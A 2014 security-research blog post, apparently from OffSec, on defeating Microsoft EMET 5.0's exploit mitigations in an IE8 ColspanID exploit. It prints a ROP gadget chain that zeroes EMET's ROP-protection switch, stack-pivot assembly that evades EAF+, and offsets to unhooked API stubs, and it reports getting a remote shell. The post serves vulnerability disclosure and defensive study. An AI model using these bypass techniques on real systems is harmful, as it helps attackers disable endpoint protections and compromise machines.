Blog
Sep 29, 2014
Disarming EMET v5.0
In our previous Disarming Emet 4.x blog post, we demonstrated how to disarm the ROP mitigations introduced in EMET 4.x by abusing a global variable in the .data section located at a static offset. A general overview of the EMET 5 technical preview has been recently published here.
10 min read
Author: Matteo Memelli
INTRODUCTION
In our previous Disarming Emet 4.x blog post, we demonstrated how to disarm the ROP mitigations introduced in EMET 4.x by abusing a global variable in the .data section located at a static offset. A general overview of the EMET 5 technical preview has been recently published here. However, the release of the final version introduced several changes that mitigated our attack and we were curious to see how difficult it would be to adapt our previous disarming technique to this new version of EMET. In our research we targeted 32-bit systems and compared the results across different operating systems (Windows 7 SP1, Windows 2008 SP1, Windows 8, Windows 8.1, Windows XP SP3 and Windows 2003 SP2). We chose to use the IE8 ColspanID vulnerability once again in order to maintain consistency through our research.
ROP PROTECTIONS CONFIGURATION HARDENING
The very first thing that we noticed is that the global variable we exploited to disarm the ROP Protections (ROP-P) routine is not pointing directly to the ROP-P general switch anymore. This variable, which is now at offset 0x000aa84c from the EMET.dll base address, holds an encoded pointer to a structure of 0x560 bytes (See CONFIG_STRUCT in Fig. 1). The ROP-P general switch is now located at CONFIG_STRUCT+0x558 (Fig. 1, Fig. 2).
Encoded pointers are used to provide a layer of protection for the actual pointer values. These pointer values can be decoded by using the appropriate DecodePointer Windows API. Our first idea was to try to use the DecodePointer function to get the required pointer and then to zero out the general ROP-P switch. This API can usually be found in the Import Address Table (IAT) of several modules loaded by target processes. Additionally, since EMET.dll needs DecodePointer, we can extract the offset from the DLL base address directly from its IAT. The first step, as shown in our previous blog post, is to gather the EMET.dll base address. In this particular case, we will also save the EMET base address somewhere in memory in order to get the absolute address of DecodePointer later on. Once we decode the encoded pointer, disarming ROP becomes a very similar exercise as in our previous exploit.
The following ROP gadgets were used to disable the ROP Protections in the IE8 ColspanID exploit:
[cc lang=”asm”]
POP EAX # RETN // Pop GetModuleHandle Ptr from the stack
GetModuleHandle // GetModuleHandle Ptr
MOV EAX,[EAX] # RETN // Get GetModuleHandle Address
PUSH EAX # RETN // Call GetModuleHandle
POP ECX # RETN // GetModuleHandle RET Address: Pop EMET_CONFIG_STRUCT
EMET_STRING_PTR // GetModuleHandle argument
EMET_CONFIG_STRUCT // EMET_CONFIG_STRUCT offset
POP ESI // Pop MEM_ADDRESS Ptr to save EMET base
MEM_ADDRESS
MOV [ESI],EAX # RETN // Save EMET base address at MEM_ADDRESS
ADD EAX,ECX # RETN // Get the address of EMET_CONFIG_STRUCT
MOV EAX,[EAX] // Get the encoded value stored at EMET_CONFIG_STRUCT
POP ESI // Pop DecodePointer ARG Ptr from the stack
DECODEPTR_ARG_PTR
MOV [ESI],EAX // Update DECODEPTR_ARG with encoded value
POP EAX # RETN // Pop EMET base address Ptr
MEM_ADDRESS
MOV EAX,[EAX] // Get EMET Base
POP ECX # RETN // Pop DecodePointer offset from the stack
DECODEPTR_OFFSET
ADD EAX,ECX # RETN // Get the address of DecodePointer in IAT
MOV EAX,[EAX] // Get the address of DecodePointer
PUSH EAX # RETN // Call DecodePointer
POP ECX # RETN // Pop ROP-P Global Switch offset DECODEPTR_ARG
ROP_P_OFFSET
ADD EAX,ECX # RETN // Get address of ROP-P Global Switch offset
POP ECX # RETN // Pop 0 into ECX
0x00000000
MOV [EAX],ECX # RETN // Zero out the ROP-P Global Switch
[/cc]
EAF
In our previous blog post, we bypassed EAF by using a known technique presented by the security researcher Piotr Bania. The technique makes use of the Windows syscall NtSetContextThread to clear the hardware breakpoints set by EMET on the Export Address Table of kernel32.dll and ntdll.dll. EMET 5 now protects the KERNELBASE.dll Export Address Table as well, but the only new protection implemented in version 5 against the use of the above technique is that now NtSetContextThread as well as NtContinue (which can also be used in a similar way to bypass EAF) are hooked by the toolkit.
“Unfortunately”, the hook eventually calls into the ROP-P routine, and since all the checks are already disarmed by the previous ROP chain, it is completely ineffective. The result is that no further changes to the shellcode were needed to bypass EMET 5 with all of its mitigations enabled except for EAF+. By resolving and calling NtSetContextThread, we were once again able to bypass EAF and successfully obtain a remote shell.
EAF+
EAF+, on the other hand, introduces a few extra security checks. First of all, it offers the possibility of blacklisting specific modules that should never be allowed to read protected locations (EAT and MZ/PE header of specific modules). For IE, EAF+ blacklists by default mshtml.dll, Adobe Flash flash*.ocx, jscript*.dll, vbscript.dll and vgx.dll. However, since in our case we are resolving NtSetContextThread by directly calling GetProcAddress, we are implicitly bypassing this mitigation.
When we ran our exploit with EAF+ enabled, IE crashed without any explanations or EMET-related log entries in the Windows Event Viewer. Our first thought was that EMET detected the stack register being out of the allowed boundaries, as this check and the detection of a mismatch of stack and frame pointer registers are the other two mitigations introduced by EAF+.
We were able to verify this by setting a breakpoint at EMET+0x40BA6 (Fig. 3), which is a basic block belonging to the EAF/EAF+ ExceptionHandler (EMET+0x4084A) installed by the toolkit.
Since we have already disarmed EMET ROP mitigations as well as DEP/ASLR at this point, we were able to bypass the stack registers check executing the following instructions just before resolving NtSetContextThread:
[cc lang=”asm”]
XOR EAX,EAX
MOV EAX,DWORD PTR FS:[EAX+18]
MOV EAX,DWORD PTR DS:[EAX+4]
ADD EAX,-OFFSET
XCHG EAX,ESP
[/cc]
The first three instructions simply recover the StackBase pointer value for the executing thread from the Thread Environment Block (TEB). We then add a negative offset to fall within StackBase and StackLimit and set ESP to point to this value.
[cc]0:021> dt -r1 _TEB
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : Ptr32 Void
+0x008 StackLimit : Ptr32 Void
+0x00c SubSystemTib : Ptr32 Void
+0x010 FiberData : Ptr32 Void
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32 Void
+0x018 Self : Ptr32 _NT_TIB[/cc]
At this point, we were happy enough as our exploit was working nicely with all the protections enabled. However, as we were reversing the EAF/EAF+ ExceptionHandler, we noticed something interesting. At offset EMET+0x00040E75 (Fig. 4) there is a call to NtSetContextThread, but rather than calling into the hooked Windows Native API, EMET calls a stub that sets up the syscall number into the EAX register and then jumps into NtSetContextThread+0x5 to bypass the EMET shim (Fig. 5).
The interesting part is that the pointer to this stub is an entry in the configuration structure that we used to disarm the ROP Protections. In other words, we can use this stub as an alternative way to bypass EAF+ as we can directly call into POINTER(CONFIG_STRUCT+0x518) without the need to resolve the NtSetContextThread address.
This discovery made us even more curious and we started to snoop around the entire structure. We saw that at specific static offsets from the beginning of the structure, you can find pointers to respective stubs for all the hooked Windows APIs:
[cc lang=”bash”]shoujou:Desktop ryujin$ ./config_struct.py struct.txt | sort -u
Function: KERNELBASE!CreateFileMappingNumaW Offset:0x428
Function: KERNELBASE!CreateFileMappingW Offset:0x410
Function: KERNELBASE!CreateFileW Offset:0x3b0
Function: KERNELBASE!CreateRemoteThreadEx Offset:0x2d8
Function: KERNELBASE!CreateRemoteThreadEx Offset:0x2f0
Function: KERNELBASE!HeapCreate Offset:0x1e8
Function: KERNELBASE!LoadLibraryExA Offset:0x80
Function: KERNELBASE!LoadLibraryExW Offset:0x98
Function: KERNELBASE!MapViewOfFile Offset:0x488
Function: KERNELBASE!MapViewOfFileEx Offset:0x4a0
Function: KERNELBASE!VirtualAlloc Offset:0x110
Function: KERNELBASE!VirtualAllocEx Offset:0x128
Function: KERNELBASE!VirtualProtect Offset:0x188
Function: KERNELBASE!VirtualProtectEx Offset:0x1a0
Function: KERNELBASE!WriteProcessMemory Offset:0x338
Function: kernel32!CreateFileA Offset:0x380
Function: kernel32!CreateFileMappingA Offset:0x3e0
Function: kernel32!CreateFileMappingWStub Offset:0x3f8
Function: kernel32!CreateFileWImplementation Offset:0x398
Function: kernel32!CreateProcessA Offset:0x218
Function: kernel32!CreateProcessInternalA Offset:0x248
Function: kernel32!CreateProcessInternalW Offset:0x260
Function: kernel32!CreateProcessW Offset:0x230
Function: kernel32!CreateRemoteThreadStub Offset:0x2c0
Function: kernel32!HeapCreateStub Offset:0x1d0
Function: kernel32!LoadLibraryA Offset:0x20
Function: kernel32!LoadLibraryExAStub Offset:0x50
Function: kernel32!LoadLibraryExWStub Offset:0x68
Function: kernel32!LoadLibraryW Offset:0x38
Function: kernel32!MapViewOfFileExStub Offset:0x470
Function: kernel32!MapViewOfFileStub Offset:0x458
Function: kernel32!VirtualAllocExStub Offset:0xf8
Function: kernel32!VirtualAllocStub Offset:0xe0
Function: kernel32!VirtualProtectExStub Offset:0x170
Function: kernel32!VirtualProtectStub Offset:0x158
Function: kernel32!WinExec Offset:0x368
Function: kernel32!WriteProcessMemoryStub Offset:0x320
Function: ntdll!LdrHotPatchRoutine Offset:0x8
Function: ntdll!LdrLoadDll Offset:0xc8
Function: ntdll!NtContinue Offset:0x500
Function: ntdll!NtCreateFile Offset:0x3c8
Function: ntdll!NtCreateProcessEx Offset:0x2a8
Function: ntdll!NtMapViewOfSection Offset:0x4e8
Function: ntdll!NtProtectVirtualMemory Offset:0x1b8
Function: ntdll!NtSetContextThread Offset:0x518
Function: ntdll!NtUnmapViewOfSection Offset:0x4d0
Function: ntdll!RtlCreateHeap Offset:0x200
Function: ntdll!ZwAllocateVirtualMemory Offset:0x140
Function: ntdll!ZwCreateProcess Offset:0x290
Function: ntdll!ZwCreateSection Offset:0x440
Function: ntdll!ZwCreateThreadEx Offset:0x308
Function: ntdll!ZwCreateUserProcess Offset:0x278
Function: ntdll!ZwWriteVirtualMemory Offset:0x350
[/cc]
This is particularly troublesome as it provides the attacker with access to the most powerful APIs completely unhooked and without the need of resolving their addresses once EMET CONFIG_STRUCT is gathered. However, since Deep Hooks are enabled by default, if the attacker plans to use one of the above APIs without disarming EMET in first place, they would need to call the deepest API in the chain.
As usual, the full exploit can be found at The Exploit Database. The exploit uses the stub at POINTER(CONFIG_STRUCT+0x518) to bypass EAF+ as well as the ROP chain presented in this blog post.
ASR
The Attack Surface Reduction (ASR) feature in EMET 5.0 helps reduce the exposure of applications by preventing the loading of specific modules or plugins within the target application. This protection can really be effective in cases where an attacker forces the target application to load a specific DLL to bypass ASLR (Java msvcr71.dll is a very typical case).
Protection provided by ASR does not affect our exploit in any way because we are using a memory leak to bypass ASLR in the IE ColspanID exploit. We are also not loading any extra modules to bypass DEP. Nevertheless, we conducted some research to understand where this mitigation is located within EMET.dll. Once again, we noticed that the actual checks are done within the very same ROP-P routine, thereby making ASR entirely ineffective once the ROP-P general switch has been zeroed out. However, if an attacker is planning to force the target application to load a blacklisted module to bypass ASLR, he wouldn’t be able to disarm the EMET ASR protection using our technique before loading the forbidden DLL.
PORTABILITY
Our testing on older operating systems shows that the offset to the CONFIG_STRUCT global variable changes to 0x000b0b4c due to the fact that a different EMET.dll is in use.
Nevertheless, offsets within the structure are consistent in all pre- and post-Vista Windows versions, both for the ROP-P general switch and for the unhooked APIs stubs. The only real differences are present when certain API functions are simply not available in the OS, such as in the case of KERNELBASE.DLL in Windows versions prior to Windows 7.
CONCLUSION
As we managed to successfully demonstrate, the difficulty in disarming EMET 5 mitigations has not increased substantially since version 4.x. More than anything, only our ROP chain has increased in size, while achieving the same effect of bypassing the protections offered by EMET. Here’s a video of our PoC IE exploit bypassing EMET v5.0:
Cybersecurity leader resources
Sign up for the Secure Leader and get the latest info on industry trends, resources and best practices for security leaders every other week
Latest from OffSec
OffSec News
Evolve APAC 2024: Key Insights
Discover key insights from Evolve APAC 2024 on building skills, career growth, and tackling cybersecurity challenges with expert advice.
Nov 21, 2024
8 min read
Enterprise Security
How to Use Assessments for a Skills Gap Analysis
Discover how OffSec’s Learning Paths help organizations perform skills gap analyses, validate expertise, and strengthen cybersecurity teams.
Nov 19, 2024
4 min read
Enterprise Security
The Human Side of Incident Response
Effective incident response requires decision-making, adaptability, collaboration, stress management, and a commitment to continuous learning.
Nov 8, 2024
5 min read